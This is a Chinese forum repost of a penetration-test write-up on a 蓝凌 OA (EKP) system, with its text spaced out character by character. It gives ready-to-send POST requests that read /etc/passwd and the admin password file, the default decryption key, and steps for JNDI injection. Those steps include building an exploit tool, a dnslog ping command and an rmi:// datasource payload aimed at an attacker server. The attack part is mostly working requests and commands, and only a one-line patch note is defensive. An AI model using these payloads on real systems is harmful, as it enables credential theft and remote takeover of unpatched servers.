搜索

[18407] 2021-08-12_记一次密码读取+SSRF渗透测试

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-08-12_记一次密码读取+SSRF渗透测试 记 一 次 密 码 读 取 + S S R F 渗 透 测 试 e n e m y   H A C K 之 道   2 0 2 1 - 0 8 - 1 2 收 录 于 话 题 # 红 队 技 术   , 5 # 渗 透 实 战   , 1 2 0 x 0 1   背 景 背 景     记 一 次 授 权 的 渗 透 测 试 ， 目 标 网 站 使 用 了 某 凌 O A （ E K P ） 办 公 系 统 ， 版 本 存 在 任 意 文 件 读 取 和 S S R F + J N D I 远 程 命 令 执 行 安 全 缺 陷 ， 本 文 仅 对 这 方 面 做 相 关 描 述 ， 针 对 此 网 站 系 统 进 行 的 信 息 收 集 覆 盖 面 和 其 他 测 试 小 工 具 就 不 再 赘 述 了 . . .   【 旺 柴 】 — — 手 动 狗 头 ， 厚 码 见 谅 ， 大 佬 轻 喷 ~ 0 x 0 2   概 述 概 述     系 统 存 在 漏 洞 ， 攻 击 者 可 利 用 该 漏 洞 或 读 取 系 统 其 他 敏 感 文 件 ， 获 取 加 密 口 令 后 可 通 过 对 密 码 进 行 ， 从 而 登 入 系 统 配 置 管 理 后 台 ， 可 利 用 漏 洞 进 行 操 作 。 0 x 0 3   任 意 文 件 读 取 任 意 文 件 读 取     漏 洞 位 置 在 / s y s / u i / e x t e n d / v a r k i n d / c u s t o m . j s p ， 也 就 是 在 这 个 页 面 ；     请 求 方 法 为 P O S T ；     请 求 包 & P a y l o a d 如 下 ：     读 取 文 件 任 意 文 件 读 取 读 取 管 理 员 密 码 配 置 文 件 默 认 k e y 解 密 携 带 登 入 后 台 的 C o o k i e S S R F 远 程 命 令 执 行 c u s t o m . j s p / e t c / p a s s w d
P O S T   / s y s / u i / e x t e n d / v a r k i n d / c u s t o m . j s p   H T T P / 1 . 1 H o s t :   C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o o k i e :   C o n n e c t i o n :   c l o s e C o n t e n t - L e n g t h :   4 2 v a r = { " b o d y " : { " f i l e " : " f i l e : / / / e t c / p a s s w d " } }             读 取 配 置 文 件 ， 获 取 管 理 员 加 密 口 令 P O S T   / s y s / u i / e x t e n d / v a r k i n d / c u s t o m . j s p   H T T P / 1 . 1 H o s t :   C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o o k i e :   C o n n e c t i o n :   c l o s e C o n t e n t - L e n g t h :   6 0 v a r = { " b o d y " : { " f i l e " : " / W E B - I N F / K m s s C o n f i g / a d m i n . p r o p e r t i e s " } } / W E B - I N F / K m s s C o n f i g / a d m i n . p r o p e r t i e s
0 x 0 4   任 意 文 件 读 取 任 意 文 件 读 取 P O C
0 x 0 5   S S R F + J N D I 远 程 命 令 执 行 远 程 命 令 执 行     利 用 漏 洞 读 取 配 置 文 件 ， 使 用 对 密 码 进 行     模 式 ： E C B     填 充 ： Z e r o P a d d i n g     偏 移 量 ： E C B 模 式 不 需 要     默 认 密 钥 ： / W E B - I N F / K m s s C o n f i g / a d m i n . p r o p e r t i e s 默 认 密 钥 解 密 k m s s A d m i n k e y
    得 到 明 文 密 码 后 ， 访 问 / a m d i n . d o 管 理 后 台 进 行 登 入 操 作 ； J N D I 的 远 程 命 令 执 行 ， 需 要 配 合 后 台 密 码 进 行 执 行 ； 没 有 密 码 ， 即 使 有 S S R F 的 读 取 也 是 没 有 用 处 的 ， 因 为 W e b 系 统 可 能 更 改 了 默 认 安 装 的 路 径 ， 导 致 读 取 不 到     成 功 登 入 后 ， 使 用 J N D I 注 入 利 用 工 具 ， 生 成 J N D I 链 接 并 启 动 后 端 相 关 服 务 , 可 执 行 程 序 为 j a r 包 ， 在 命 令 行 中 运 行 以 下 命 令 ：         其 中 :     - C   -   远 程 c l a s s 文 件 中 要 执 行 的 命 令 。     （ 可 选 项   ,   默 认 命 令 是 m a c 下 打 开 计 算 器 ， 即 " o p e n   / A p p l i c a t i o n s / C a l c u l a t o r . a p p " ） 系 统 配 置 $   j a v a   - j a r   J N D I - I n j e c t i o n - E x p l o i t - 1 . 0 - S N A P S H O T - a l l . j a r   [ - C ]   [ c o m m a n d ]   [ - A ]   [ I P ]
    - A   -   服 务 器 地 址 ， 可 以 是 I P 地 址 或 者 域 名 。     （ 可 选 项   ,   默 认 地 址 是 第 一 个 网 卡 地 址 ）     注 意 :     要 确 保   1 0 9 9 、 1 3 8 9 、 8 1 8 0 端 口 可 用 ， 不 被 其 他 程 序 占 用 。     工 具 获 取 ： 源 码 下 载 到 本 地 然 后 自 行 编 译 打 包 。 （ 在 J a v a 1 . 7 +   、 J a v a 1 . 8 +   和   M a v e n   3 . x + 环 境 下 测 试 可 以 ） $   g i t   c l o n e   h t t p s : / / g i t h u b . c o m / w e l k 1 n / J N D I - I n j e c t i o n - E x p l o i t . g i t       $   c d   J N D I - I n j e c t i o n - E x p l o i t       $   m v n   c l e a n   p a c k a g e   - D s k i p T e s t s     运 行 工 具 监 听 端 口 ， 进 行 p i n g   d n s l o g 测 试   $   j a v a   - j a r   J N D I - I n j e c t i o n - E x p l o i t - 1 . 0 - S N A P S H O T - a l l . j a r   - C   " p i n g   b 5 0 d p x . d n s l o g . c n "   - A   " x x x . x x x . x x x . x x x "
P O S T   / a d m i n . d o   H T T P / 1 . 1 H o s t :   C o n t e n t - L e n g t h :   6 8 C a c h e - C o n t r o l :   m a x - a g e = 0 U p g r a d e - I n s e c u r e - R e q u e s t s :   1 C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 9 2 . 0 . 4 5 1 5 . 1 0 7   S a f a r i / 5 3 7 . 3 6 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / a v i f , i m a g e / w e b p , i m a g e / a p n g , * / * ; q = 0 . 8 , a p p l i c a t i o n / s i g n e d - e x c h a n g e ; v = b 3 ; q = 0 . 9 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 9 , e n ; q = 0 . 8 C o o k i e :   C o n n e c t i o n :   c l o s e m e t h o d = c o n f i g & d a t a s o u r c e = r m i : / / x x x . x x x . x x x . x x x : 1 0 9 9 / z o s c i 3 0 x 0 6   漏 洞 修 复 建 议 漏 洞 修 复 建 议     目 前 厂 商 已 提 供 相 关 漏 洞 补 丁 链 接 ， 请 关 注 厂 商 主 页 随 时 更 新 。 作 者 ： e n e m y ， 文 章 来 源 于 先 知 社 区 如 文 章 对 你 有 帮 助 ， 请 支 持 点 下 如 文 章 对 你 有 帮 助 ， 请 支 持 点 下 “ 赞 赞 ” “ 在 看 在 看 ” 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理